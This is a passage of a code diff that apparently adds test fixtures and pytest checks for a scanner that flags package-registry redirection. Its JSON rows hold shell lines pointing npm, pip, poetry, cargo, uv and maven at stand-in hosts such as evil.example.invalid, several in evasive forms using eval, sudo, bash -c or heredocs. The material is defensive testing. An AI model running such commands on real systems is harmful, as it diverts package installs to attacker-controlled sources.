"#!/bin/bash\npip config unset global.index-url\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-e1658ab1ddc3", + "status": "fixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "README.md": "# d\n```python\nx = \"npm config set registry https://packages.example.invalid/\"\n```\n" + }, + "expected_sc10": [] + }, + { + "id": "control-executable-e193d528d904", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nenv FOO=bar npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "control-executable-e39ed8a577da", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncd /tmp &&\n npm config set registry https://a.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://a.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-e3a6b1c29a01", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nif [ -f package.json ]; then\n npm config set registry https://packages.example.invalid\nfi\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-e58f045aaeda", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "README.md": "# d\n```bash\nnpm config set registry https://packages.example.invalid/\n```\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid/", + "destination_status": "resolved", + "file": "README.md", + "start_line": 3 + } + ] + }, + { + "id": "control-executable-eae4d42b1ee5", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat > .npmrc < .npmrc < /dev/null < .npmrc </dev/null npm config set registry https://packages.example.invalid\n\n# case 2\n#!/bin/bash\n>/dev/null npm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 6 + } + ] + }, + { + "id": "case-arm-pattern-forms", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncase \"$1\" in\n (setup) npm config set registry https://packages.example.invalid ;;\nesac\n\n# case 2\n#!/bin/bash\ncase \"$1\" in\n \"setup\") npm config set registry https://packages.example.invalid ;;\nesac\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 9 + } + ] + }, + { + "id": "redirection-word-consumed-as-destination", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip config set global.index-url >/dev/null https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "redirection-fd-prefixed-silences-finding", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry source add 2>/dev/null private https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "add", + "scope": "source", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "npm-yarn-wrapper-corepack-npx", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncorepack npm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "npm-nested-shell-string", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nbash -c \"npm config set registry https://packages.example.invalid\"\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "exec-preserving-prefix-wrappers", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nexec npm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "string-to-argv-execution", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\neval \"npm config set registry https://packages.example.invalid\"\nbash -c \"npm config set registry https://packages.example.invalid\"\nsh -c 'npm config set registry https://packages.example.invalid'\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 3 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 4 + } + ] + }, + { + "id": "wrapper-option-allowlist-fails-to-silent", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nsudo -k npm config set registry https://packages.example.invalid\n\n# additional forms\nsudo -i npm config set registry https://packages.example.invalid\nsudo --login npm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 5 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 6 + } + ] + }, + { + "id": "npm-flags-before-operands", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set --location=project registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "project", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "yarn-flags-before-operands", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nyarn config set -H npmRegistryServer https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "flag-between-operands-corrupts-destination", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry --location=project https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "project", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "npm-multi-pair-second-destination-dropped", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set registry https://first.example.invalid @fixture:registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://first.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "scoped", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "npm-yarn-registry-cli-flag-unmodeled", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm install --registry=https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "invocation", + "operation": "use", + "scope": "invocation", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "yarn-npmscopes-command-form", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nyarn config set npmScopes.acme.npmRegistryServer https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "yarn", + "surface": "command", + "operation": "set", + "scope": "scoped", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "npm-flag-before-subcommand", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config --location=project set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "project", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "npm-subcommand-aliases", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm c set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "npm-argv-terminator", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set -- registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "pnpm-unmodeled", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npnpm config set registry https://packages.example.invalid\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pnpm", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "pip-config-set-early-return-non-global-key", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip config set install.index-url https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "command", + "operation": "set", + "scope": "command", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "pip-config-file-option-before-subcommand", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip config --user set global.index-url https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "poetry-global-options-before-subcommand", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry -C . source add --priority explicit private https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "add", + "scope": "source", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "poetry-config-local-flag-before-key", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry config --local repositories.foo.url https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "set", + "scope": "project", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "poetry-option-operand-consumed-multi", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npoetry source add --priority explicit --no-interaction private https://evil.example.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "poetry", + "surface": "command", + "operation": "add", + "scope": "source", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "cargo-has-no-command-branch", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncargo --config 'registries.evil.index=\"https://evil.example.invalid/index\"' build\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "cargo", + "surface": "invocation", + "operation": "use", + "scope": "registry", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "pip-short-option-bundling", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip install -ihttps://evil.example.invalid/simple requests\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "invocation", + "operation": "use", + "scope": "invocation", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "maven-settings-file-flag-and-unrecognised-filename", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nmvn -s ci-settings.xml install\n", + "ci-settings.xml": "\n \n \n fixture\n *\n https://packages.example.invalid/repository\n \n \n\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "maven", + "surface": "maven-config", + "operation": "replace", + "scope": "mirror", + "destination": "https://packages.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "ci-settings.xml", + "start_line": 6 + } + ] + }, + { + "id": "uv-entirely-uncovered", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nuv pip install --index-url https://evil.example.invalid/simple requests\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "uv", + "surface": "invocation", + "operation": "use", + "scope": "invocation", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "pip-long-option-abbreviation", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\npip install --index-u=https://evil.example.invalid/simple requests\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "invocation", + "operation": "use", + "scope": "invocation", + "destination": "https://evil.example.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "option-before-operand-fixed-argv-index", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\nnpm config set --location=project registry https://evil.invalid\n\n# case 2\n#!/bin/bash\nnpm config --location=project set registry https://evil.invalid\n\n# case 3\n#!/bin/bash\npip config --global set global.index-url https://evil.invalid/simple\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "project", + "destination": "https://evil.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + }, + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "command", + "operation": "set", + "scope": "project", + "destination": "https://evil.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 6 + }, + { + "severity": "HIGH", + "ecosystem": "pip", + "surface": "command", + "operation": "set", + "scope": "global", + "destination": "https://evil.invalid/REDACTED_PATH", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 10 + } + ] + }, + { + "id": "placeholder-destination-reported-as-resolved", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "README.md": "# Setup\n```bash\npip config set global.index-url 'INDEX_URL_PLACEHOLDER'\n```\n" + }, + "expected_sc10": [] + }, + { + "id": "maven-altdeploymentrepository", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "inert", + "files": { + "scripts/setup.sh": "#!/bin/bash\nmvn deploy -DaltDeploymentRepository=internal::default::https://evil.example.invalid/repo\n" + }, + "expected_sc10": [] + }, + { + "id": "heredoc-noncat-writer", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ntee .npmrc < .npmrc < .npmrc < .npmrc < .npmrc <<< 'registry=https://packages.example.invalid'\n" + }, + "expected_sc10": [ + { + "severity": "HIGH", + "ecosystem": "npm", + "surface": "generated-config", + "operation": "replace", + "scope": "global", + "destination": "https://packages.example.invalid", + "destination_status": "resolved", + "file": "scripts/setup.sh", + "start_line": 2 + } + ] + }, + { + "id": "heredoc-clobber-override", + "status": "unfixed", + "lands_in": "PR-2", + "expected_outcome": "finding", + "files": { + "scripts/setup.sh": "#!/bin/bash\ncat >| .npmrc < .npmrc < .npmrc < /dev/null < .npmrc < .npmrc \\\n < \"$CFG\" < .npmrc < .npmrc < /opt/homebrew/etc/npmrc < /dev/null < /dev/null < tuple[dict[str, Any], dict[str, Any]]: @@ -130,13 +173,45 @@ def test_corpus_schema_and_self_checks() -> None: assert FINDING_ROWS, "findings corpus must not be empty" assert CONTROL_ROWS, "controls corpus must not be empty" + assert len(FINDING_ROWS) == 85 + assert len(CONTROL_ROWS) == 165 + assert Counter(row["expected_outcome"] for row in FINDING_ROWS) == { + "finding": 70, + "inert": 12, + "limitation": 3, + } + assert {row["id"] for row in FINDING_ROWS if row["lands_in"] == "PR-1"} == (PR1_FINDING_IDS) + assert sum(row["lands_in"] == "PR-2" for row in FINDING_ROWS) == 66 + assert sum(row["lands_in"] == "PR-1" for row in CONTROL_ROWS) == 28 + assert sum(row["lands_in"] == "PR-2" for row in CONTROL_ROWS) == 137 + imported_control_ids = [row["id"] for row in CONTROL_ROWS if row["lands_in"] == "PR-2"] + assert imported_control_ids == sorted(imported_control_ids) + assert all( + PUBLIC_IMPORTED_CONTROL_ID.fullmatch(identifier) for identifier in imported_control_ids + ) + for row in CONTROL_ROWS: + if row["lands_in"] != "PR-2": + continue + canonical_files = json.dumps( + row["files"], sort_keys=True, separators=(",", ":"), ensure_ascii=False + ).encode() + expected_id = f"control-executable-{hashlib.sha256(canonical_files).hexdigest()[:12]}" + assert row["id"] == expected_id + assert not any(row["lands_in"] == "DEFERRED" for row in ALL_ROWS) + transitioned = [row for row in FINDING_ROWS if row["id"] == TRANSITIONED_LIMITATION_ID] + assert len(transitioned) == 1 + assert ( + transitioned[0]["lands_in"], + transitioned[0]["status"], + transitioned[0]["expected_outcome"], + ) == ("PR-2", "fixed", "limitation") ids = [row["id"] for row in ALL_ROWS] assert len(ids) == len(set(ids)) file_inputs: list[tuple[str, str]] = [] for row in ALL_ROWS: allowed_fields = ROW_FIELDS | ( - {"expected_limitation"} if "expected_limitation" in row else set() + {"expected_limitation"} if row["expected_outcome"] == "limitation" else set() ) assert set(row) == allowed_fields assert not (_mapping_keys(row) & PROHIBITED_FIELDS) @@ -146,13 +221,13 @@ def test_corpus_schema_and_self_checks() -> None: assert ( isinstance(row["expected_outcome"], str) and row["expected_outcome"] in OUTCOME_VALUES ) - assert isinstance(row["files"], dict) and len(row["files"]) == 1 - path, content = next(iter(row["files"].items())) - assert isinstance(path, str) and path - assert isinstance(content, str) - physical_line_count = max(1, content.encode("utf-8").count(b"\n") + 1) - assert physical_line_count >= 1 - file_inputs.append((path, content)) + assert isinstance(row["files"], dict) and 1 <= len(row["files"]) <= 2 + for path, content in row["files"].items(): + assert isinstance(path, str) and path + assert isinstance(content, str) + physical_line_count = max(1, content.encode("utf-8").count(b"\n") + 1) + assert physical_line_count >= 1 + file_inputs.append((path, content)) assert isinstance(row["expected_sc10"], list) for expected in row["expected_sc10"]: assert isinstance(expected, dict) @@ -162,12 +237,55 @@ def test_corpus_schema_and_self_checks() -> None: assert expected["severity"] == "HIGH" assert expected["destination_status"] in {"resolved", "unresolved"} assert type(expected["start_line"]) is int + path = expected["file"] + assert path in row["files"] + content = row["files"][path] + physical_line_count = max(1, content.encode("utf-8").count(b"\n") + 1) assert 1 <= expected["start_line"] <= physical_line_count - assert expected["file"] == path if "end_line" in expected: assert type(expected["end_line"]) is int assert expected["end_line"] > expected["start_line"] assert expected["end_line"] <= physical_line_count + ecosystem = expected["ecosystem"] + assert ecosystem in {item.value for item in DependencyEcosystem} | ( + FUTURE_ECOSYSTEM_VALUES + ) + if ecosystem in FUTURE_ECOSYSTEM_VALUES: + # Task 7 adds the fixed PNPM enum. Until then, validate every + # other field against the live PR-1 enums without pretending + # that GENERIC represents pnpm. + assert ecosystem == "pnpm" + DependencySourceSurface(expected["surface"]) + DependencySourceOperation(expected["operation"]) + DependencySourceScope(expected["scope"]) + DestinationStatus(expected["destination_status"]) + else: + projected = finding_from_source_change( + SourceChange( + ecosystem=DependencyEcosystem(ecosystem), + surface=DependencySourceSurface(expected["surface"]), + operation=DependencySourceOperation(expected["operation"]), + scope=DependencySourceScope(expected["scope"]), + destination=expected["destination"], + destination_status=DestinationStatus(expected["destination_status"]), + span=SourceSpan( + path=path, + start_byte=0, + end_byte=0, + start_line=expected["start_line"], + end_line=expected.get("end_line", expected["start_line"]), + ), + ) + ) + assert _normalized_finding(projected) == expected + if expected["destination_status"] == "resolved": + parsed_destination = urlsplit(expected["destination"]) + assert parsed_destination.username is None + assert parsed_destination.password is None + assert not parsed_destination.query + assert not parsed_destination.fragment + if parsed_destination.path not in {"", "/"}: + assert parsed_destination.path == "/REDACTED_PATH" if row["expected_outcome"] == "finding": assert row["expected_sc10"] assert "expected_limitation" not in row @@ -176,17 +294,21 @@ def test_corpus_schema_and_self_checks() -> None: assert "expected_limitation" not in row else: assert row["expected_sc10"] == [] + assert "expected_limitation" in row + if row["expected_outcome"] == "limitation": assert isinstance(row["expected_limitation"], dict) assert set(row["expected_limitation"]) == {"reason", "path", "range"} assert isinstance(row["expected_limitation"]["reason"], str) assert row["expected_limitation"]["reason"] assert row["expected_limitation"]["reason"] in { - "dependency_source_parse_incomplete", - "unscanned_executable_content", + item.value for item in DependencySourceLimitationReason } assert isinstance(row["expected_limitation"]["path"], str) assert row["expected_limitation"]["path"] - assert row["expected_limitation"]["path"] == path + path = row["expected_limitation"]["path"] + assert path in row["files"] + content = row["files"][path] + physical_line_count = max(1, content.encode("utf-8").count(b"\n") + 1) limitation_range = row["expected_limitation"]["range"] assert isinstance(limitation_range, dict) assert set(limitation_range) == {"start_line", "end_line"} @@ -196,6 +318,7 @@ def test_corpus_schema_and_self_checks() -> None: assert limitation_range["end_line"] <= physical_line_count assert len(file_inputs) == len(set(file_inputs)) + assert all(PUBLIC_CONTROL_ID.fullmatch(row["id"]) for row in CONTROL_ROWS) @pytest.mark.parametrize("row", BEHAVIOR_PARAMETERS) @@ -207,12 +330,18 @@ def test_dependency_source_behavior(row: dict[str, Any]) -> None: files = row["files"] raw_files = {path: content.encode("utf-8") for path, content in files.items()} + executable_paths = frozenset( + DependencySourceSpan(path=path, start_line=1, end_line=1).path + for path in sorted(raw_files) + if is_executable_content(path, raw_files[path]) + ) analysis = analyze_dependency_sources( components=sorted(files), local_file_cache=files, raw_file_cache=raw_files, artifact_inventory=[classify_artifact(path, raw_files[path]) for path in sorted(raw_files)], budget=DependencyWorkBudget(), + executable_paths=executable_paths, ) findings = list(getattr(analysis, "findings", analysis)) limitations = list(getattr(analysis, "limitations", [])) diff --git a/tests/unit/test_dependency_command_adapters.py b/tests/unit/test_dependency_command_adapters.py new file mode 100644 index 00000000..4b90d502 --- /dev/null +++ b/tests/unit/test_dependency_command_adapters.py @@ -0,0 +1,99 @@ +# SPDX-FileCopyrightText: Copyright (c) 2026 NVIDIA CORPORATION & AFFILIATES. All rights reserved. +# SPDX-License-Identifier: Apache-2.0 + +"""Focused end-to-end skeletons for the planned dependency-command adapters.""" + +from __future__ import annotations + +import json +import os +from collections import Counter +from pathlib import Path +from typing import Any + +import pytest + +from skillspector.artifacts import classify_artifact +from skillspector.dependency_source_types import DependencySourceSpan, DependencyWorkBudget +from skillspector.dependency_sources import analyze_dependency_sources +from skillspector.nested_artifacts import is_executable_content + +REPRESENTATIVE_IDS = ( + "npm-flags-before-operands", + "yarn-flags-before-operands", + "pnpm-unmodeled", + "pip-short-option-bundling", + "poetry-global-options-before-subcommand", + "cargo-has-no-command-branch", + "uv-entirely-uncovered", + "maven-settings-file-flag-and-unrecognised-filename", +) + + +def _finding_rows() -> dict[str, dict[str, Any]]: + path = Path(__file__).parents[1] / "nodes/analyzers/data/sc10_findings.json" + rows = json.loads(path.read_text(encoding="utf-8"))["rows"] + return {row["id"]: row for row in rows} + + +def _gap_marks(row: dict[str, Any]) -> list[pytest.MarkDecorator]: + marks = [pytest.mark.sc10_pr2] + if row["status"] != "fixed" and os.getenv("SKILLSPECTOR_SC10_GAPS") != "enforce": + marks.append(pytest.mark.xfail(strict=True, reason=f"SC10 gap: {row['id']}")) + return marks + + +def _normalized_finding(finding: Any) -> dict[str, Any]: + evidence = finding.evidence + result = { + "severity": finding.severity, + "ecosystem": evidence["ecosystem"], + "surface": evidence["surface"], + "operation": evidence["operation"], + "scope": evidence["scope"], + "destination": evidence["destination"], + "destination_status": evidence["destination_status"], + "file": finding.file, + "start_line": finding.start_line, + } + if finding.end_line is not None and finding.end_line != finding.start_line: + result["end_line"] = finding.end_line + return result + + +ROWS_BY_ID = _finding_rows() +MISSING_REPRESENTATIVES = set(REPRESENTATIVE_IDS) - set(ROWS_BY_ID) +assert not MISSING_REPRESENTATIVES + +ADAPTER_PARAMETERS = [ + pytest.param(ROWS_BY_ID[identifier], id=identifier, marks=_gap_marks(ROWS_BY_ID[identifier])) + for identifier in REPRESENTATIVE_IDS +] + + +@pytest.mark.parametrize("row", ADAPTER_PARAMETERS) +def test_dependency_command_adapter_contracts(row: dict[str, Any]) -> None: + files = row["files"] + raw_files = {path: content.encode("utf-8") for path, content in files.items()} + executable_paths = frozenset( + DependencySourceSpan(path=path, start_line=1, end_line=1).path + for path in sorted(raw_files) + if is_executable_content(path, raw_files[path]) + ) + analysis = analyze_dependency_sources( + components=sorted(files), + local_file_cache=files, + raw_file_cache=raw_files, + artifact_inventory=[classify_artifact(path, 